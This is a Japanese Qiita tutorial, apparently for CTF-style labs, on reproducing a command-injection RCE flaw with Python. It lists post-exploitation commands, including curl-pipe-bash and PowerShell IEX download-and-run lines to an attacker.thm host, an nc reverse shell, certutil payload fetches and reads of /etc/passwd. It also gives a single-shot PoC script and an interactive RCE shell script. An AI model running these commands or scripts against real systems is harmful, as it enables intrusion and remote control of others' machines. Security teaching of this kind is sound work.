1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Python】Python を使った RCE 脆弱性の検証

1
Posted at

はじめに

Python は柔軟性と豊富なライブラリ群を備えており、セキュリティ検証や Exploit 開発の分野で最も利用されている言語の一つです。
特に、以下のようなタスクで強力な威力を発揮します。

  • SQL Injection / SSTI などの インジェクション脆弱性の検証
  • Remote Code Execution(RCE)の 再現性ある PoC 作成
  • 権限・環境確認などの ポストエクスプロイト自動化

本記事では、Web アプリケーションに存在する RCE 脆弱性を Python で検証・自動化する方法を、教育・演習目的で解説します。


1. RCE(Remote Code Execution)とは

RCE とは、攻撃者が リモートから任意のコマンドを実行できてしまう脆弱性です。
多くの場合、以下のような実装ミスが原因になります。

  • ユーザー入力をそのまま system() / exec() に渡す
  • 入力値の検証(Validation / Sanitization)が不十分
  • コマンドを shell 経由で実行している

RCE が成立すると、攻撃者は以下のような情報を取得できます。

  • 実行ユーザー
  • OS / カーネル情報
  • ネットワーク構成
  • アプリケーションの配置ファイル

2. RCE 検証でよく使われる基本コマンド

Linux 環境

コマンド 説明
whoami 現在コマンドを実行しているユーザーを表示する
id ユーザー ID(UID)およびグループ ID(GID)を表示する
uname -a OS・カーネルなどのシステム情報を表示する
cat /etc/passwd システムのユーザー情報ファイルを読み取る(権限がある場合)
ls -la ファイル・ディレクトリを権限や所有者付きで一覧表示する
`curl http://attacker.thm/shell.sh bash`
nc -e /bin/bash <attackbox_ip> <port> 対象マシンから攻撃者側へ接続するリバースシェルを確立する
python3 -c 'import pty; pty.spawn("/bin/bash")' 簡易シェルを対話型(インタラクティブ)シェルに昇格させる
cat /etc/os-release OS 種別確認

Windows 環境

コマンド 説明
whoami 現在ログインしているユーザーを表示する
hostname システムのホスト名を表示する
ipconfig /all ネットワーク設定の詳細情報を表示する
net user ローカルユーザーの一覧を表示する
tasklist 現在実行中のプロセス一覧を表示する
certutil -urlcache -f http://attacker.thm/shell.exe shell.exe 外部サーバーから実行ファイルをダウンロードする
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.thm/shell.ps1')" リモートの PowerShell スクリプトをダウンロードして実行する

3. 想定する脆弱なエンドポイント

以下のような URL が存在すると仮定します。

http://python.thm/labs/lab3/execute.php?cmd=<command>

cmd パラメータに指定した文字列が、そのままサーバー側で実行される構造です。


4. 最小構成の RCE PoC(単発実行)

まずは、1 コマンドだけ実行する最小 PoCから確認します。

import requests

TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
command = "whoami"

response = requests.get(TARGET_URL + command)

if response.status_code == 200:
    print("[+] Command Output:")
    print(response.text)
else:
    print("[-] Exploit failed:", response.status_code)

ポイント

  • requests によるシンプルな GET リクエスト
  • RCE が成立しているかどうかの検証用途

5. 改良版:インタラクティブ検証シェル

単発実行では効率が悪いため、複数コマンドを連続で検証できる簡易シェルにします。

import requests
from urllib.parse import quote_plus

TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="

print("[+] Interactive RCE Shell (type 'exit' to quit)")

while True:
    cmd = input("Shell> ").strip()
    if cmd.lower() in ("exit", "quit"):
        break

    url = TARGET_URL + quote_plus(cmd)
    response = requests.get(url, timeout=8)

    if response.status_code == 200:
        print(response.text)
    else:
        print("[-] Request failed")

なぜ quote_plus() が重要か?

  • スペースや |& が URL を壊すのを防ぐ
  • RCE PoC の 安定性が大幅に向上

6. Exploit スクリプトを「ツール」に近づける工夫

実戦や演習では、以下のような機能があると便利です。

  • URL エンコード対応
  • HTTP タイムアウト設定
  • Burp Suite 用プロキシ対応
  • 危険コマンドの誤実行防止

これらを加えることで、
「使い捨て PoC」→「再利用可能な検証ツール」 へ進化します。


まとめ

  • Python は RCE 検証・PoC 作成に非常に適している
  • URL エンコードやタイムアウト処理は 必須
  • 単なる Exploit ではなく、再現性・安全性を意識した設計が重要
  • 防御視点をセットで理解すると、セキュリティ理解が一段深まる

攻撃を知ることは、防御を強くする最短ルートです。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?